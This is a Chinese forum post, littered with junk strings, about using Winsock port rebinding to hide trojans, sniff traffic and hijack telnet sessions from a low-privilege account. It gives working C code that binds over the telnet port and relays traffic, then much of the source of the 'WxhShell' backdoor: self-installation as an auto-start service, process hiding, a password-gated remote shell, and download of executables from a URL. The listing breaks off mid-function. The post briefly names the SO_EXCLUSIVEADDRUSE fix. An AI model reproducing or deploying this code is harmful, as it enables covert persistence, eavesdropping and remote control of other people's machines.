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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g;3<oI/P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1-4*YrA  
sD XJXJZ  
  saddr.sin_family = AF_INET; t&bE/i_T  
$/JnYkL{m  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U@:iN..  
v}z{OB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V SH64  
rlDJHR6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~]K<V h`  
Zf\It<zT5  
  这意味着什么?意味着可以进行如下的攻击: \l;H !y[  
3o__tU)B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WgV[,(  
0ipYXbC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GZFLJu  
b WZ X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bzMs\rj\  
Cd'SPaR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OEN'c0;5  
^UpwVKdP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p@xK`=Urb  
n)teX.ck)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iuq%Q\0@w  
obIYC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Op<|Oz$Q|l  
)N&v. w  
  #include Uw_z9ZL  
  #include m`ab5<%Gn  
  #include y {1p#  
  #include    .We"j_ }  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D8_-Dvp7H  
  int main() n1)m(,{  
  { 9ev " BO  
  WORD wVersionRequested; oG;;='*  
  DWORD ret; _9zydtw  
  WSADATA wsaData; 6JL:p{RLi  
  BOOL val; & 5YI!; q,  
  SOCKADDR_IN saddr; = l9H]`T/  
  SOCKADDR_IN scaddr; QI2T G,  
  int err; d~J4&w  
  SOCKET s; {YgB?kt5  
  SOCKET sc; ?_c*(2i&^  
  int caddsize; ]hkway  
  HANDLE mt; n\y%5J+  
  DWORD tid;   AU +2'  
  wVersionRequested = MAKEWORD( 2, 2 ); nM)H2'%kL&  
  err = WSAStartup( wVersionRequested, &wsaData ); Me*]Bh  
  if ( err != 0 ) { 7[ra#>e8'  
  printf("error!WSAStartup failed!\n"); .@ElfPP(L  
  return -1; KuO5`  
  } "&/&v  
  saddr.sin_family = AF_INET; rj].bGQ,+  
   $.@)4Nu!_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OW<5,h  
G" Fd]'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f)+fdc  
  saddr.sin_port = htons(23); 3l@={Ts  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xem:#>&r  
  { aTy&"  
  printf("error!socket failed!\n"); L~jKx)S%  
  return -1; Gv}h/zu-  
  } #_bSWV4  
  val = TRUE; WNPdym  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v2Bks 2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z_J"Qk  
  { 6!n%SUt  
  printf("error!setsockopt failed!\n"); 93d ht  
  return -1; Y<S,Xr;J:  
  } x+9aTsZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hQfxz,X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ukSi9| 1-,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >p 7e6%  
Mc6?]wDB]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U:`g12  
  { <zK9J?ZQW>  
  ret=GetLastError(); * 5#Y [c  
  printf("error!bind failed!\n"); vF=d`T<  
  return -1; vxo iPqo  
  } &6E^<v?]  
  listen(s,2); "rr,P0lgX  
  while(1) g9;}?h  
  { \~zTc_  
  caddsize = sizeof(scaddr); X] /r'Tz  
  //接受连接请求 (6G5UwSt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +S:(cz80V  
  if(sc!=INVALID_SOCKET) a-,BBM8|  
  { Z;W`deA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -)aBS3  
  if(mt==NULL) mYN|)QVKy  
  { &Fl^&&1C  
  printf("Thread Creat Failed!\n"); , c/\'k\K)  
  break; Nze#u;  
  } m4 *Rr  
  } mMw&{7b:  
  CloseHandle(mt); t\]CdH`+  
  } h"')D  
  closesocket(s); ?/~7\ '|Z  
  WSACleanup(); >b0e"eGt  
  return 0; cv0}_<Tyx  
  }   %9=^#e+pE  
  DWORD WINAPI ClientThread(LPVOID lpParam) b#.hw2?a`  
  { g0^%X9s  
  SOCKET ss = (SOCKET)lpParam; |_%|  
  SOCKET sc; #oi4!%*M  
  unsigned char buf[4096]; >"S'R9t  
  SOCKADDR_IN saddr; Mx-,:a9}  
  long num; Sj}@5 X6 C  
  DWORD val; l0b Y  
  DWORD ret; hsljJvs  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V2'(}k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /"Om-DK%  
  saddr.sin_family = AF_INET; e4ajT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >0SF79-RE  
  saddr.sin_port = htons(23); .)B_~tct  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !o&Mw:d  
  { Q/=L(_1l  
  printf("error!socket failed!\n"); Hi9;i/  
  return -1; !w98 [BE7  
  } d"nE+pgE  
  val = 100; N Q{ X IN~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e0*',  
  { >)U 7$<&b  
  ret = GetLastError(); l<{]%=Qg  
  return -1; ID5?x8o#k  
  } r+>E`GGQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ps.O.2Z5ZB  
  { 6,0pkx&Nv  
  ret = GetLastError(); n4ce)N@  
  return -1; :j vx-jQ  
  } oWo"` "P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %dS7u$Rnh  
  { ((Ec:(:c  
  printf("error!socket connect failed!\n"); bUp%87<*X  
  closesocket(sc); L;5j hVy  
  closesocket(ss); 7 4aap2^  
  return -1; PT|^RF%fT  
  } @k,u xe-  
  while(1) VE6T&fz`  
  { czb(&><  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wb!%_1dER  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )"jG)c^1*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PQXyu1  
  num = recv(ss,buf,4096,0); <Ky\ ^  
  if(num>0) 1U~AupHE  
  send(sc,buf,num,0); 9.lSF  
  else if(num==0) }!& w<wR  
  break; hn.9j"  
  num = recv(sc,buf,4096,0); 0d:t$2~C  
  if(num>0) DhY9)>4M  
  send(ss,buf,num,0); #:vosVqG  
  else if(num==0) RV^2[Gdi  
  break; ()(@Qcc  
  } l`gRw4 /$  
  closesocket(ss); X`:(-3T  
  closesocket(sc); jY:(Tv3~  
  return 0 ; ,<|EoravH  
  } 8b(UqyV  
p2!x8`IB*  
/pFg<  
========================================================== PFG):i-?  
RXt`y62yK  
下边附上一个代码,,WXhSHELL  rc*3k  
aAwnkQ$  
========================================================== Zx55mSfx:  
zScV 9,H1  
#include "stdafx.h" Rh9>iA@fd  
*A GC[w}/  
#include <stdio.h>  ~ceGx  
#include <string.h> \@['V   
#include <windows.h> lV`y6{o#T  
#include <winsock2.h> \?GUGs  
#include <winsvc.h> 3l`yy])t  
#include <urlmon.h> X||o iqbY  
s3_i5,y  
#pragma comment (lib, "Ws2_32.lib") T {(6*^g<B  
#pragma comment (lib, "urlmon.lib") idPkJf/  
jLD=EJ  
#define MAX_USER   100 // 最大客户端连接数 kdQ=%  
#define BUF_SOCK   200 // sock buffer &>@nW!n u  
#define KEY_BUFF   255 // 输入 buffer 05DK-Wh?  
VV?+q)  
#define REBOOT     0   // 重启 Y$Js5K@F  
#define SHUTDOWN   1   // 关机 A7+eWg{  
W5_t/_EWD  
#define DEF_PORT   5000 // 监听端口 A:p7\Kp;5}  
zL3~,z/o  
#define REG_LEN     16   // 注册表键长度 z:RwCd1\  
#define SVC_LEN     80   // NT服务名长度 /qo.Z  
WsJ3zZc  
// 从dll定义API isDBNXV:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HHWB_QaL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z?XE~6aP>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4zpprh+`K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wRnt$ 1  
c(ZkK  
// wxhshell配置信息 S=krF yFw  
struct WSCFG { ~e~4S~{  
  int ws_port;         // 监听端口 6;I&{9  
  char ws_passstr[REG_LEN]; // 口令 F{]dq/{  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z\(+awv  
  char ws_regname[REG_LEN]; // 注册表键名 qK.8^{b  
  char ws_svcname[REG_LEN]; // 服务名 *@cXBav/<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z)62/`C)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1xL2f&bG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ["MF-tQ5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s#)fnNQ ,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lmj73OB3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PM7*@~.  
V_Wv(G0-\  
}; o`M7:8G  
SL pd~ZC?  
// default Wxhshell configuration NLoJmOi;L7  
struct WSCFG wscfg={DEF_PORT, 2[r#y1ro  
    "xuhuanlingzhe", ysGK5kFz  
    1, 3PpycJ}  
    "Wxhshell", k/j]*~"  
    "Wxhshell", I Zi1N  
            "WxhShell Service", >e=tem~/  
    "Wrsky Windows CmdShell Service", h[ba$S,T  
    "Please Input Your Password: ", s$ &:F4=?  
  1, (gvaYKvr  
  "http://www.wrsky.com/wxhshell.exe", tP"C >#LO  
  "Wxhshell.exe" <[8at6;  
    }; ,K+K`"Oy  
K>lA6i7?  
// 消息定义模块 Cbx/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $;@^coz9U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l yF~E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w%S\)wjS  
char *msg_ws_ext="\n\rExit."; \a<qI  
char *msg_ws_end="\n\rQuit."; -% 5*c61  
char *msg_ws_boot="\n\rReboot..."; \P^WUWY  
char *msg_ws_poff="\n\rShutdown..."; n0>#?ek12  
char *msg_ws_down="\n\rSave to "; A%k@75V@  
//3iai  
char *msg_ws_err="\n\rErr!"; C6M|A3^T  
char *msg_ws_ok="\n\rOK!"; BCJo/m  
(6^v`SZ  
char ExeFile[MAX_PATH]; *q=pv8&*s  
int nUser = 0; PUuxKW}  
HANDLE handles[MAX_USER]; ,gUSW  
int OsIsNt; 4~P{H/]  
#i%it  
SERVICE_STATUS       serviceStatus; pBL,kqYNA>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =A$5~op%  
Urm&4&y  
// 函数声明 jdK~]eld=  
int Install(void); B~D{p t3y  
int Uninstall(void); l"W9uS;\T  
int DownloadFile(char *sURL, SOCKET wsh); Cf91#% :cN  
int Boot(int flag); :p;!\4)u  
void HideProc(void); (]w_}E]N  
int GetOsVer(void); $k,Z)2  
int Wxhshell(SOCKET wsl); 58DkVQ6  
void TalkWithClient(void *cs); ?S~HnIn  
int CmdShell(SOCKET sock); WUvrC  
int StartFromService(void); 4`I2tr  
int StartWxhshell(LPSTR lpCmdLine); P%8 Gaa=  
IX$dDwY|O>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9s>q4_D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [ %cW ?@  
)^qM%k8  
// 数据结构和表定义 f7Y0L8D  
SERVICE_TABLE_ENTRY DispatchTable[] = EeIV6ug  
{ Aq yR+  
{wscfg.ws_svcname, NTServiceMain}, 9E'fM  
{NULL, NULL} zflq|dW  
}; EcxPbRg  
Q>8F&p?R  
// 自我安装 mKugb_d?  
int Install(void) 5z~rl}`v  
{ 3k.{gAZKh  
  char svExeFile[MAX_PATH]; t3|If@T  
  HKEY key; x4r8^,K3Zn  
  strcpy(svExeFile,ExeFile); N7Kq$G2O  
\T `InBbf  
// 如果是win9x系统,修改注册表设为自启动 P^&%T?Y6z  
if(!OsIsNt) { cY8X A6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0"ksNnxK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); twv|,kM  
  RegCloseKey(key); 4nK\gXz19  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pM],-7UM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jr$,w7tQn@  
  RegCloseKey(key); X; I:i%-  
  return 0; w#vSZbh  
    }  J -tOO  
  } 3=5K7 F  
} 4y\qJw)~U  
else { D99g}  
e/Wrm^]y  
// 如果是NT以上系统,安装为系统服务 4[m})X2(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $&& mGD;?K  
if (schSCManager!=0) Veo*-sl  
{ !~Gx@Ro  
  SC_HANDLE schService = CreateService Q97F5ru6  
  ( qB6@OS  
  schSCManager, 4Vl_vTz{i  
  wscfg.ws_svcname, 8mjPa^A  
  wscfg.ws_svcdisp, d` %8qLIW  
  SERVICE_ALL_ACCESS, Q&+Jeji  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =r"-Pm{  
  SERVICE_AUTO_START, w^OV;gp  
  SERVICE_ERROR_NORMAL, l/1u>'  
  svExeFile, h DpIwzJ  
  NULL, t"x 8]Gy  
  NULL, zx` %)r  
  NULL, > %h7)}U  
  NULL, Le;;Yd}f  
  NULL hgIqr^N9  
  ); [Jv0^"]  
  if (schService!=0) j5Kw0Wy7  
  { KZy2c6XO;  
  CloseServiceHandle(schService); R=&9M4  
  CloseServiceHandle(schSCManager); Loz5[L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0U|t@&q  
  strcat(svExeFile,wscfg.ws_svcname); $J6Pv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p]h;M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e_RLKFv7  
  RegCloseKey(key); W>f q 9  
  return 0; 9 5bi W  
    } %+ln_lgD:  
  } Dz d[<Qln  
  CloseServiceHandle(schSCManager); J]&^A$  
} di.yh3N$  
} 7LEB ,bU  
e"}JHXs  
return 1; D5Zgi!  
} (=A61]yB  
6/-]  
// 自我卸载 z$g cK>@l  
int Uninstall(void) &10l80vj  
{ ~6{iQZa1Y  
  HKEY key; Z2n Jw  
#jrtsv]  
if(!OsIsNt) { ->Z9j(JU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r]q;>\T'  
  RegDeleteValue(key,wscfg.ws_regname); `iHyGfm  
  RegCloseKey(key); @JW HG1qJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 26M:D&|ZB  
  RegDeleteValue(key,wscfg.ws_regname); Zv]'9,cbk  
  RegCloseKey(key); ^aG$9N<\  
  return 0; .lsD+}  
  } FOPfo b[  
} 6jw9p+.  
} 6ZO6 O=KD  
else { '/OcJVSR  
zA%YaekJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n!aA<  
if (schSCManager!=0) <OH{7>V  
{ QhhL_vP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^C=dq(i=[  
  if (schService!=0) 8H'ybfed  
  { l4s*+H$vd?  
  if(DeleteService(schService)!=0) { Z8Iqgz7|y  
  CloseServiceHandle(schService); K}t=Y  
  CloseServiceHandle(schSCManager); L@5sY0 M  
  return 0; ~<N9ckK  
  } W [*Go  
  CloseServiceHandle(schService); ( ]E0fjk  
  } zqHG2:MN"  
  CloseServiceHandle(schSCManager); qX[{_$^Q  
} mjQZ"h0  
} c"O4=[N: ;  
zRU9Q 2Y  
return 1; z @g%9 |U  
} vjL +fH<0:  
(himx8Uml2  
// 从指定url下载文件 c;?J  
int DownloadFile(char *sURL, SOCKET wsh) nt&"? /s  
{ M(^_/ 1Z  
  HRESULT hr; +\doF  
char seps[]= "/"; xH\!j  
char *token; j.&Y'C7GOC  
char *file; )3IUKz%\6p  
char myURL[MAX_PATH]; lfAiW;giJ  
char myFILE[MAX_PATH]; |oWl9j]Z  
.@Lktc  
strcpy(myURL,sURL); 2Z-[x9t  
  token=strtok(myURL,seps); J$W4AT  
  while(token!=NULL) YQ$LU \:  
  { sYq:2Wn>8Q  
    file=token; 1> v(&;K  
  token=strtok(NULL,seps); 0 <E2^  
  } Z%Pv,h'Q  
;^TSla+t+  
GetCurrentDirectory(MAX_PATH,myFILE); \#h{bnx  
strcat(myFILE, "\\"); ~.tl7wKkR/  
strcat(myFILE, file);  bUsX~R-  
  send(wsh,myFILE,strlen(myFILE),0); { 2%'=v  
send(wsh,"...",3,0); P BVF'~f@j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {Rdh4ZKh  
  if(hr==S_OK) 4]HW!J  
return 0; v8YF+N  
else 1COSbi]  
return 1; $bDaZGy  
dB)-qL8,2  
} 3ey.r%n  
zs(P2$  
// 系统电源模块 VbDk44X.W  
int Boot(int flag) 1V wcJd  
{ AdpJ4}|0  
  HANDLE hToken; .kU}x3m  
  TOKEN_PRIVILEGES tkp; S"VO@)d  
nQOzKw<j%  
  if(OsIsNt) { <O1os"w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A^E 6)A=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gshy$'_e  
    tkp.PrivilegeCount = 1; %)72glB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d[{!^,%x"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P5H_iH  
if(flag==REBOOT) { QE8 `nMf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Kx?.g#>U;  
  return 0; id588Y78  
} J )^F  
else { F [Lg,}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7|o!v);uR  
  return 0; lUaJC'~p  
} o[1#)&  
  } `M*jrkM]x  
  else { jJaMkF;f  
if(flag==REBOOT) { Uqz.Q\A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L|Xg4Z  
  return 0; #sg*GK+|:R  
} {+ Ibi{  
else { obGhO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =W;e9 6#  
  return 0; #1C]ZV] B  
} lX-i<0`  
} @eZBwFe  
o*artMkG  
return 1; )+"5($~  
} +?W4ac1  
hj&~Dn(  
// win9x进程隐藏模块 F\hVunPVx  
void HideProc(void) tUuARo7#  
{ d/T&J=  
d``wx}#Uk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Hzc"<2Y\  
  if ( hKernel != NULL ) ^Vhl@  
  { >gs_Bzy]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aNs8T`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SuB8mPn  
    FreeLibrary(hKernel); ,  O/IY  
  } 0WfnX>(C7R  
AN6Q~%,  
return; xmEom  
} ;X a N  
ML MetRP  
// 获取操作系统版本 V%)Tu{L  
int GetOsVer(void) p!~1~q6  
{ $}r.fji,c  
  OSVERSIONINFO winfo;  VM:|I~gJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g1?9ge 1  
  GetVersionEx(&winfo); Mo<q(_ZeRP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Be6+YM5Cl  
  return 1; $5/d?q-ts{  
  else r{t6Vv2J  
  return 0; @tPr\F  
} gwsIzYV  
n((A:b  
// 客户端句柄模块 Y8^ WuN$  
int Wxhshell(SOCKET wsl) w[\rS`J  
{ q*4U2_^.  
  SOCKET wsh; _yUYEq<`  
  struct sockaddr_in client; \K~wsu/?`  
  DWORD myID; 1og+(m`BL  
v-SX PL]_^  
  while(nUser<MAX_USER) SE43C %hv  
{ _'ebXrbZB  
  int nSize=sizeof(client); 4Ngp  -  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'e' p`*  
  if(wsh==INVALID_SOCKET) return 1; gC7Po  
-|^)8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b- e  
if(handles[nUser]==0) Z\Ur F0  
  closesocket(wsh); ;9WUt,R  
else 0M roHFh9`  
  nUser++; :fwtPvLo  
  } xpO;V}M|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .4U*.Rf  
x~R,rb   
  return 0; L@/IyQ[H1  
} pqb`g@  
d@1^U9sf  
// 关闭 socket enZZ+|h  
void CloseIt(SOCKET wsh) A7%/sMv  
{ )qw;KG0F  
closesocket(wsh); b=xn(HE8|  
nUser--; [`qdpzUp&  
ExitThread(0); 9( q(;|;Hp  
} NN=^4Xpc:  
kE .4 #  
// 客户端请求句柄 GM'yOJo  
void TalkWithClient(void *cs) Uavl%Q  
{ {+7FBdxVB  
i>,AnkI&  
  SOCKET wsh=(SOCKET)cs; G%: 3.:E"  
  char pwd[SVC_LEN]; <$zhNu~  
  char cmd[KEY_BUFF]; UWqD)6  
char chr[1]; LtX53c  
int i,j; 5\XD/Q M  
HnKgD:  
  while (nUser < MAX_USER) { 0QW=2rs  
&Q;sbI}  
if(wscfg.ws_passstr) { `R: W5_n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V`#2jDz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9$z$yGjl  
  //ZeroMemory(pwd,KEY_BUFF); qD ?`Yd  
      i=0; 5|*`} ;/y  
  while(i<SVC_LEN) { isd-b]@:Lc  
t1o 6;r K  
  // 设置超时 =WW5H\?  
  fd_set FdRead; w6cl3J&  
  struct timeval TimeOut; @-Q l6k  
  FD_ZERO(&FdRead); '!`\!=j-`  
  FD_SET(wsh,&FdRead); 1u7D:h>#  
  TimeOut.tv_sec=8; ]#^v754X^T  
  TimeOut.tv_usec=0; +llb{~ZN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ls:oC},p*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;J TY#)Bh  
Zs=A<[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sk>=C0f:  
  pwd=chr[0]; )]FXUz|;  
  if(chr[0]==0xd || chr[0]==0xa) { $7DW-TA  
  pwd=0; ;z.niX.fx  
  break; {~F|"v  
  } HrvyI)4{  
  i++; fxPg"R!1i  
    } )V2W:M  
]&]DF Y~n  
  // 如果是非法用户,关闭 socket J|f29B-c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X:g5;NT  
} \8QOZjy  
jL^@;"/XhC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q0VAkVHw4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,7Hyrx`  
JOY&YA$U  
while(1) { pN5kcvQ  
Z>g>OPu  
  ZeroMemory(cmd,KEY_BUFF); ?#=xx.cF  
IUv#nB3  
      // 自动支持客户端 telnet标准   8R3{YJ6@T  
  j=0; Lo!hyQ)  
  while(j<KEY_BUFF) { ?PMbbqa0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 77O$^fG2  
  cmd[j]=chr[0]; ftxL-7y%  
  if(chr[0]==0xa || chr[0]==0xd) { [5?Dov^j 3  
  cmd[j]=0; 8.B'O>\T  
  break; e7@ m i  
  } >jAFt_  
  j++; {+WY,%e  
    } Ph[MXb:*  
Mg`!tFe3  
  // 下载文件 j9[I6ko5'  
  if(strstr(cmd,"http://")) { } jJKE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]<\YEz&A  
  if(DownloadFile(cmd,wsh)) ~h3G}EH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T{C;bf:Q  
  else f_S$CFa@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0d_)C>gcF  
  } 5N|LT8P}Z  
  else { M.mn9kw`  
,7&\jET5^0  
    switch(cmd[0]) { `-pwP  
  JK =A=  
  // 帮助 r$={_M$  
  case '?': { B~Kx Up  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a(A~S u97  
    break; V )<>W_g  
  }  *XhlIQ  
  // 安装 x'`{#bKD  
  case 'i': { ?`U_|Yo  
    if(Install()) 5 qfvHQ ~M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hD ~/ywS&  
    else H:~p5t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c]|vg=W  
    break;  9Bt GzI\  
    } dw<i)P^   
  // 卸载 >6 o <Q  
  case 'r': { cRnDAn#42  
    if(Uninstall()) !+PrgIp>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N 3L$"g5^  
    else ,_kw}_n=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OOSf<I*>  
    break; ES+ CAwqf  
    } p2gdA J  
  // 显示 wxhshell 所在路径 G7 UUx+X  
  case 'p': {  +x 3x  
    char svExeFile[MAX_PATH];  <J;O$S  
    strcpy(svExeFile,"\n\r"); ]\xt[/?{  
      strcat(svExeFile,ExeFile); ,IPt4EH$  
        send(wsh,svExeFile,strlen(svExeFile),0); ;\0|1Eem`  
    break; ..8t1+S6]  
    } Zmyq6.1q~  
  // 重启 crIF5^3Yby  
  case 'b': { CqnHh@]nu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &}p\&4  
    if(Boot(REBOOT)) U7g`R@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uy<3B>3~.  
    else { 0(y*EJA$  
    closesocket(wsh); }gv'r ";  
    ExitThread(0); @GKDSS4jv  
    } 1$T`j2s  
    break; 0vqH-)}  
    } F|F0#HC ?  
  // 关机 s9wzN6re  
  case 'd': { Z2]0brV  
